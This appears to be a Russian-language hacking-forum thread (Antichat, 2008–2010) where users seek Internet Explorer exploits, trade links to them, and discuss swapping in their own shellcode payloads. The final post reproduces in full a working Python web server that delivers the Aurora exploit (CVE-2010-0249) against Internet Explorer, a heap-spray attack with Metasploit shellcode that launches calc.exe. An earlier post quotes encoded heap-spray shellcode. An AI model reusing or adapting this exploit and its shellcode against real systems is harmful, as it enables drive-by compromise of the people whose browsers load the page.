ANTICHAT.XYZ    VIDEO.ANTICHAT.XYZ    НОВЫЕ СООБЩЕНИЯ    ФОРУМ  
Баннер 1   Баннер 2
Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей. Здесь обсуждаются безопасность, программирование, технологии и многое другое. Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
Вернуться   Форум АНТИЧАТ > Безопасность и Уязвимости > Безопасность > Защита ОС: вирусы, антивирусы, файрволы.
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

  #71  
Старый 14.08.2008, 19:19
Аватар для Звeрь
Звeрь
Banned
Регистрация: 25.02.2008
Сообщений: 229
Провел на форуме:
1384476

Репутация: 300
Отправить сообщение для Звeрь с помощью ICQ
Arrow

Цитата:
Сообщение от Kila  
Скажите мне молодому, не опытному, залил armitage, все хорошо, но файлик GeoIP.dat нифига не закачалсО...нездоровая канитель

ставь на хостинг www.ho.ua
 
Ответить с цитированием

  #72  
Старый 10.12.2008, 18:37
Аватар для diehard
diehard
Постоянный
Регистрация: 30.09.2007
Сообщений: 815
Провел на форуме:
2590715

Репутация: 659


Отправить сообщение для diehard с помощью ICQ
По умолчанию

Цитата:
10 декабря, 2008
Программа: Microsoft Internet Explorer 7.x
Опасность: Критическая
Наличие эксплоита: Да
Облазил сайт - не нашел сам эксплоит, подскажите где взять?
 
Ответить с цитированием

  #73  
Старый 10.02.2009, 17:38
Аватар для F1shka
F1shka
Banned
Регистрация: 10.04.2008
Сообщений: 618
Провел на форуме:
2603997

Репутация: 942


Отправить сообщение для F1shka с помощью ICQ Отправить сообщение для F1shka с помощью AIM Отправить сообщение для F1shka с помощью Yahoo
По умолчанию

Цитата:
Сообщение от diehard  
Облазил сайт - не нашел сам эксплоит, подскажите где взять?
http://www.xakep.ru/post/46406/default.asp
 
Ответить с цитированием

  #74  
Старый 16.07.2009, 20:29
Аватар для daniel_1024
daniel_1024
Участник форума
Регистрация: 15.07.2009
Сообщений: 158
Провел на форуме:
698831

Репутация: 34
По умолчанию

никто не знает нет ли такой уязвимости в интернет экспплорере которая позволяет получить доступ к файловой системе компа ? например это некий active - X файл, который выполнится на html странице и которыйи позволит из-за дыры в интернет эксплорере выполнить произвольный код ? или это фантазии...=)
 
Ответить с цитированием

  #75  
Старый 03.11.2009, 02:37
Аватар для ZloiSpy
ZloiSpy
Новичок
Регистрация: 02.11.2009
Сообщений: 8
Провел на форуме:
19012

Репутация: 0
По умолчанию

Цитата:
Сообщение от Kila  
Скажите мне молодому, не опытному, залил armitage, все хорошо, но файлик GeoIP.dat нифига не закачалсО...нездоровая канитель

Может ты не из 6 осла пробовал, а из 7.
7 на звере установлен.
 
Ответить с цитированием

  #76  
Старый 03.11.2009, 02:41
Аватар для ZloiSpy
ZloiSpy
Новичок
Регистрация: 02.11.2009
Сообщений: 8
Провел на форуме:
19012

Репутация: 0
По умолчанию

Может ты не из 6 осла пробовал, а из 7.
7 на звере установлен.
 
Ответить с цитированием

  #77  
Старый 28.11.2009, 03:30
Аватар для anticoder
anticoder
Новичок
Регистрация: 04.12.2006
Сообщений: 7
Провел на форуме:
25000

Репутация: 0
По умолчанию

помогите разобраться,

во многих сплойтах встречаю строки типа:

Код:
//------------------Replace with your code-----------------------//
	var Shellcode = unescape("%uE8FC%u0044%u0000%u458B%u8B3C%u057C%u0178%u8BEF%u  184F%u5F8B%u0120%u49EB%u348B%u018B%u31EE%u99C0%u84  AC%u74C0%uC107%u0DCA%uC201%uF4EB%u543B%u0424%uE575  %u5F8B%u0124%u66EB%u0C8B%u8B4B%u1C5F%uEB01%u1C8B%u  018B%u89EB%u245C%uC304%uC031%u8B64%u3040%uC085%u0C  78%u408B%u8B0C%u1C70%u8BAD%u0868%u09EB%u808B%u00B0  %u0000%u688B%u5F3C%uF631%u5660%uF889%uC083%u507B%u  7E68%uE2D8%u6873%uFE98%u0E8A%uFF57%u63E7%u6C61%u00  63");
//------------------Replace with your code-----------------------//
вопрос, как это хозяйство расшифровать?)

пробовал так:

Код:
document.write  (unescape(Shellcode));
но в результате получаю иероглифы.
объясните плз как расшифровывать/зашифровывать код по такой схеме. день провел в гугле, но ничего толкового так и не нашел..

Последний раз редактировалось anticoder; 28.11.2009 в 03:48..
 
Ответить с цитированием

  #78  
Старый 28.11.2009, 18:43
Аватар для brain[pillow]
brain[pillow]
Участник форума
Регистрация: 07.11.2008
Сообщений: 124
Провел на форуме:
1483379

Репутация: 386
Отправить сообщение для brain[pillow] с помощью ICQ
По умолчанию

Это не надо расшифровывать. Это нужно заменить своим кодом (payload)
 
Ответить с цитированием

  #79  
Старый 24.03.2010, 03:10
Аватар для Liar
Liar
Постоянный
Регистрация: 17.05.2007
Сообщений: 334
Провел на форуме:
3242773

Репутация: 632
По умолчанию

Эххх... а такой эксплоит то и пропустили ...
а ведь и шуму то он наделал *речь о Авроре*



PHP код:

#
#   Author : Ahmed Obied (ahmed.obied@gmail.com)
#
#   This program acts as a web server that generates an exploit to 
#   target a vulnerability (CVE-2010-0249) in Internet Explorer. 
#   The exploit was tested using Internet Explorer 6 on Windows XP SP2. 
#   The exploit's payload spawns the calculator. 
#
#   Usage  : python ie_aurora.py [port number]
#   

import sys
import socket

from BaseHTTPServer import HTTPServer
BaseHTTPRequestHandler
        
class RequestHandler(BaseHTTPRequestHandler):

    
def convert_to_utf16(selfpayload):
        
enc_payload ''
        
for i in range(0len(payload), 2):
            
num 0
            
for j in range(02):
                
num += (ord(payload[j]) & 0xff) << (8)
            
enc_payload += '%%u%04x' num
        
return enc_payload
                
    def get_payload
(self):
        
# win32_exec - EXITFUNC=process CMD=calc.exe Size=164 Encoder=PexFnstenvSub
        # http://metasploit.com
        
payload  '\x31\xc9\x83\xe9\xdd\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73'
        
payload += '\x13\x6f\x02\xb1\x0e\x83\xeb\xfc\xe2\xf4\x93\xea\xf5\x0e'
        
payload += '\x6f\x02\x3a\x4b\x53\x89\xcd\x0b\x17\x03\x5e\x85\x20\x1a'
        
payload += '\x3a\x51\x4f\x03\x5a\x47\xe4\x36\x3a\x0f\x81\x33\x71\x97'
        
payload += '\xc3\x86\x71\x7a\x68\xc3\x7b\x03\x6e\xc0\x5a\xfa\x54\x56'
        
payload += '\x95\x0a\x1a\xe7\x3a\x51\x4b\x03\x5a\x68\xe4\x0e\xfa\x85'
        
payload += '\x30\x1e\xb0\xe5\xe4\x1e\x3a\x0f\x84\x8b\xed\x2a\x6b\xc1'
        
payload += '\x80\xce\x0b\x89\xf1\x3e\xea\xc2\xc9\x02\xe4\x42\xbd\x85'
        
payload += '\x1f\x1e\x1c\x85\x07\x0a\x5a\x07\xe4\x82\x01\x0e\x6f\x02'
        
payload += '\x3a\x66\x53\x5d\x80\xf8\x0f\x54\x38\xf6\xec\xc2\xca\x5e'
        
payload += '\x07\x7c\x69\xec\x1c\x6a\x29\xf0\xe5\x0c\xe6\xf1\x88\x61'
        
payload += '\xd0\x62\x0c\x2c\xd4\x76\x0a\x02\xb1\x0e'
        
return self.convert_to_utf16(payload)
    
    
def get_exploit(self):
        
exploit '''
        <html>
        <head>
            <script>
            
            var obj, event_obj;
            
            function spray_heap()
            {
                var chunk_size, payload, nopsled;
            
                chunk_size = 0x80000;
                payload = unescape("<PAYLOAD>");
                nopsled = unescape("<NOP>");
                while (nopsled.length < chunk_size)
                    nopsled += nopsled;
                nopsled_len = chunk_size - (payload.length + 20);        
                nopsled = nopsled.substring(0, nopsled_len);
                heap_chunks = new Array();
                for (var i = 0 ; i < 200 ; i++)
                    heap_chunks[i] = nopsled + payload;
            }
        
            function initialize()
            {
                obj = new Array();
                event_obj = null;
                for (var i = 0; i < 200 ; i++ )
                    obj[i] = document.createElement("COMMENT");
            }
        
            function ev1(evt)
            {
                event_obj = document.createEventObject(evt);
                document.getElementById("sp1").innerHTML = "";
                window.setInterval(ev2, 1);
            }
      
            function ev2()
            {
                var data, tmp;
                
                data = "";
                tmp = unescape("%u0a0a%u0a0a");
                for (var i = 0 ; i < 4 ; i++)
                    data += tmp;
                for (i = 0 ; i < obj.length ; i++ ) {
                    obj[i].data = data;
                }
                event_obj.srcElement;
            }
                    
            function check()
            {
                if (navigator.userAgent.indexOf("MSIE") == -1)
                    return false;
                return true;   
            }
            
            if (check()) {
                initialize();
                spray_heap();               
            }
            else
                window.location = '
about:blank'
                
            </script>
        </head>
        <body>
            <span id="sp1">
            <img src="aurora.gif" onload="ev1(event)">
            </span>        
        </body>
        </html>
        '''
        
exploit exploit.replace('<PAYLOAD>'self.get_payload())
        
exploit exploit.replace('<NOP>''%u0a0a%u0a0a')
        return 
exploit 

    def get_image
(self):
        
content  '\x47\x49\x46\x38\x39\x61\x01\x00\x01\x00\x80\x00\x00\xff\xff\xff'
        
content += '\x00\x00\x00\x2c\x00\x00\x00\x00\x01\x00\x01\x00\x00\x02\x02\x44'
        
content += '\x01\x00\x3b'
        
return content

    def log_request
(self, *args, **kwargs):
        
pass
        
    def do_GET
(self):
        try:
            if 
self.path == '/':
                print
                print 
'[-] Incoming connection from %s' self.client_address[0]
                
self.send_response(200
                
self.send_header('Content-Type''text/html')
                
self.end_headers()
                print 
'[-] Sending exploit to %s ...' self.client_address[0]
                
self.wfile.write(self.get_exploit())
                print 
'[-] Exploit sent to %s' self.client_address[0]
            
elif self.path == '/aurora.gif':      
                
self.send_response(200)
                
self.send_header('Content-Type''image/gif')
                
self.end_headers()
                
self.wfile.write(self.get_image())
        
except
            print 
'[*] Error : an error has occured while serving the HTTP request'
            
print '[-] Exiting ...'
            
sys.exit(-1)
            
                       
def main():
    if 
len(sys.argv) != 2:
        print 
'Usage: %s [port number (between 1024 and 65535)]' sys.argv[0]
        
sys.exit(0)
    try:
        
port int(sys.argv[1])
        if 
port 1024 or port 65535:
            
raise ValueError
        
try:
            
serv HTTPServer((''port), RequestHandler)
            
ip socket.gethostbyname(socket.gethostname())
            print 
'[-] Web server is running at http://%s:%d/' % (ipport)
            try:
                
serv.serve_forever()
            
except:
                print 
'[-] Exiting ...' 
        
except socket.error:
            print 
'[*] Error : a socket error has occurred'
        
sys.exit(-1)    
    
except ValueError:
        print 
'[*] Error : an invalid port number was given'
        
sys.exit(-1)
            
if 
__name__ == '__main__':
    
main() 
 
Ответить с цитированием
Ответ


Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
Софт для мобильных телефонов под *nix Grrl Сотовый фрикинг 2 02.03.2007 01:47
Редактирование содежимого прошивок для Самсунгов Digimortal Схемы и программы 3 28.02.2007 14:22
«Лаборатории Касперского»: Количество вредоносных программ под Linux резко возросло dinar_007 Мировые новости 9 20.08.2006 20:50
какОй трой ИСпоЛЬзоваТЬ длЯ поЛНого УПРАвЛЕиЕ уд.КОМПОМ? UnKn0wN E-Mail 32 08.04.2006 04:20



TEST QR: []
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ